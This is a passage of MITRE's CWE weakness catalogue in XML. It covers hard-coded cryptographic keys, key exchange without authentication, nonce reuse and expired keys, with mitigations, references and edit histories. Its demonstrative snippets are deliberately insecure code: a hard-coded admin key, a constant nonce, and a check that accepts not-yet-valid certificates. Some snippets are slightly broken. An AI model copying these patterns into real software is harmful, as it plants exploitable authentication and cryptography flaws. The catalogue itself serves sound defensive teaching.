						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>898</Relationship_Target_ID>
					          <!--SFP Cluster: Authentication-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>The main difference between the use of hard-coded passwords and the use of
						hard-coded cryptographic keys is the false sense of security that the former
						conveys. Many people believe that simply hashing a hard-coded password
						before storage will protect the information from malicious users. However,
						many hashes are reversible (or at least vulnerable to brute force attacks)
						-- and further, many authentication protocols simply request the hash
						itself, making it no better than a password.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If hard-coded cryptographic keys are used, it is almost certain that
							malicious users will gain access through the account in question.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Prevention schemes mirror that of hard-coded password storage.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-92">
					          <Intro_Text>The following code examples attempt to verify a password using a
						hard-coded cryptographic key. The cryptographic key is within a hard-coded
						string value that is compared to the password and a true or false value is
						returned for verification that the password is equivalent to the hard-coded
						cryptographic key.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>int VerifyAdmin(char *password) {</Code>
							              <Block>
								                <Code>if (strcmp(password,"68af404b513073584c4b6f22b6c63e6b"))
									{</Code>
								                <Block>
									                  <Code/>
									                  <Code>printf("Incorrect Password!\n");</Code>
									                  <Code>return(0);</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>printf("Entering Diagnostic Mode...\n");</Code>
								                <Code>return(1);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public boolean VerifyAdmin(String password) {</Code>
							              <Block>
								                <Code>if (password.equals("68af404b513073584c4b6f22b6c63e6b"))
									{</Code>
								                <Block>
									                  <Code>System.out.println("Entering Diagnostic Mode...");</Code>
									                  <Code>return true;</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>System.out.println("Incorrect Password!");</Code>
								                <Code>return false;</Code>
							              </Block>
						            </Block>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C#</Code_Example_Language>
							              <Code>int VerifyAdmin(String password) {</Code>
							              <Block>
								                <Code>if (password.Equals("68af404b513073584c4b6f22b6c63e6b"))
									{</Code>
								                <Block>
									                  <Code>Console.WriteLine("Entering Diagnostic Mode...");</Code>
									                  <Code>return(1);</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>Console.WriteLine("Incorrect Password!");</Code>
								                <Code>return(0);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Use of hard-coded cryptographic key</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2007">
					          <Mapped_Node_Name>Insecure Cryptographic Storage</Mapped_Node_Name>
					          <Mapped_Node_ID>A8</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2007">
					          <Mapped_Node_Name>Insecure Communications</Mapped_Node_Name>
					          <Mapped_Node_ID>A9</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Insecure Storage</Mapped_Node_Name>
					          <Mapped_Node_ID>A8</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>Veracode</Modifier_Organization>
					          <Modification_Date>2008-08-15</Modification_Date>
					          <Modification_Comment>Suggested OWASP Top Ten 2004
						mapping</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="322" Name="Key Exchange without Entity Authentication" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software performs a key exchange with an actor without
					verifying the identity of that actor.</Description_Summary>
				        <Extended_Description>
					          <Text>Performing a key exchange will preserve the integrity of the information
						sent between two entities, but this will not guarantee that the entities are
						who they claim they are. This may enable a set of "man-in-the-middle"
						attacks. Typically, this involves a victim client that contacts a malicious
						server that is impersonating a trusted server. If the client skips
						authentication or ignores an authentication failure, the malicious server
						may request authentication information from the user. The malicious server
						can then use this authentication information to log in to the trusted server
						using the victim's credentials, sniff traffic between the victim and trusted
						server, etc.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>320</Relationship_Target_ID>
					          <!--Key Management Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>296</Relationship_Target_ID>
					          <!--Improper Following of Chain of Trust for Certificate Validation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>287</Relationship_Target_ID>
					          <!--Improper Authentication-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>345</Relationship_Target_ID>
					          <!--Insufficient Verification of Data Authenticity-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>298</Relationship_Target_ID>
					          <!--Improper Validation of Certificate Expiration-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>299</Relationship_Target_ID>
					          <!--Improper Check for Certificate Revocation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>903</Relationship_Target_ID>
					          <!--SFP Cluster: Cryptography-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>No authentication takes place in this process, bypassing an assumed
							protection of encryption.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The encrypted communication between a user and a trusted host may be
							subject to a "man-in-the-middle" sniffing attack.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Ensure that proper authentication is included in the system
							design.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Understand and properly implement all checks necessary to ensure the
							identity of entities involved in encrypted communications.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>Many systems have used Diffie-Hellman key exchange without
						authenticating the entities exchanging keys, leading to man-in-the-middle
						attacks. Many people using SSL/TLS skip the authentication (often
						unknowingly).</Intro_Text>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <References>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 23: Improper Use of PKI, Especially SSL." Page
						347</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 2, "Untrustworthy Credentials", Page
						37.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Key exchange without entity authentication</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-10</Modification_Date>
					          <Modification_Comment>clarified the description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="323" Name="Reusing a Nonce, Key Pair in Encryption" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>Nonces should be used for the present occasion and only
					once.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>320</Relationship_Target_ID>
					          <!--Key Management Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>344</Relationship_Target_ID>
					          <!--Use of Invariant Value in Dynamically Changing Context-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>903</Relationship_Target_ID>
					          <!--SFP Cluster: Cryptography-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Background_Details>
				        <Background_Detail>
					          <Text>Nonces are often bundled with a key in a communication exchange to produce
						a new session key for each exchange.</Text>
				        </Background_Detail>
			      </Background_Details>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Potentially a replay attack, in which an attacker could send the same
							data twice, could be crafted if nonces are allowed to be reused. This
							could allow a user to send a message which masquerades as a valid
							message from a valid user.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Refuse to reuse nonce values.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use techniques such as requiring incrementing, time based and/or
							challenge response to assure uniqueness of nonces.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>This code takes a password, concatenates it with a nonce, then
						encrypts it before sending over a network:</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>void encryptAndSendPassword(char *password){</Code>
							              <Block>
								                <Code>char *nonce = "bad";</Code>
								                <Code>...</Code>
								                <Code>char *data = (unsigned char*)malloc(20);</Code>
								                <Code>int para_size = strlen(nonce) + strlen(password);</Code>
								                <Code>char *paragraph = (char*)malloc(para_size);</Code>
								                <Code>SHA1((const unsigned char*)paragraph,parsize,(unsigned
									char*)data);</Code>
								                <Code>sendEncryptedData(data)</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>Because the nonce used is always the same, an attacker can impersonate
							a trusted party by intercepting and resending the encrypted password.
							This attack avoids the need to learn the unencrypted password. </Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>This code sends a command to a remote server, using an encrypted
						password and nonce to prove the command is from a trusted
						party:</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>String command = new String("some command to execute");</Code>
							              <Code>MessageDigest nonce = MessageDigest.getInstance("SHA");</Code>
							              <Code>nonce.update(String.valueOf("bad nonce"));</Code>
							              <Code>byte[] nonce = nonce.digest();</Code>
							              <Code>MessageDigest password = MessageDigest.getInstance("SHA");</Code>
							              <Code>password.update(nonce + "secretPassword");</Code>
							              <Code>byte[] digest = password.digest();</Code>
							              <Code>sendCommand(digest, command)</Code>
						            </Block>
						            <Text>Once again the nonce used is always the same. An attacker may be able
							to replay previous legitimate commands or execute new arbitrary
							commands.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Reusing a nonce, key pair in encryption</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Background_Details, Common_Consequences,
						Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="324" Name="Use of a Key Past its Expiration Date" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The product uses a cryptographic key or password past its
					expiration date, which diminishes its safety significantly by increasing the
					timing window for cracking attacks against that key.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>672</Relationship_Target_ID>
					          <!--Operation on a Resource after Expiration or Release-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>320</Relationship_Target_ID>
					          <!--Key Management Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>298</Relationship_Target_ID>
					          <!--Improper Validation of Certificate Expiration-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>903</Relationship_Target_ID>
					          <!--SFP Cluster: Cryptography-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>While the expiration of keys does not necessarily ensure that they are
						compromised, it is a significant concern that keys which remain in use for
						prolonged periods of time have a decreasing probability of integrity. For
						this reason, it is important to replace keys within a period of time
						proportional to their strength.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Low</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The cryptographic key in question may be compromised, providing a
							malicious user with a method for authenticating as the victim.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Adequate consideration should be put in to the user interface in order
							to notify users previous to the key's expiration, to explain the
							importance of new key generation and to walk users through the process
							as painlessly as possible.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text/>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>if (!(cert = SSL_get_peer(certificate(ssl)) || !host)</Code>
							              <Block>
								                <Code>foo=SSL_get_verify_result(ssl);</Code>
							              </Block>
							              <Code>if ((X509_V_OK==foo) || (X509_V_ERRCERT_NOT_YET_VALID==foo)) //do
								stuff</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <References>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 23: Improper Use of PKI, Especially SSL." Page
						347</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Using a key past its expiration date</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Using a Key Past its
						Expiration Date</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="325" Name="Missing Required Cryptographic Step" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software does not implement a required step in a
					cryptographic algorithm, resulting in weaker encryption than advertised by that
					algorithm.</Description_Summary>
				        <Extended_Description>
					          <Text>Cryptographic implementations should follow the algorithms that define
						them exactly, otherwise encryption can be weaker than expected.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>310</Relationship_Target_ID>
					          <!--Cryptographic Issues-->
				</Relationship>
				        <Relationship>
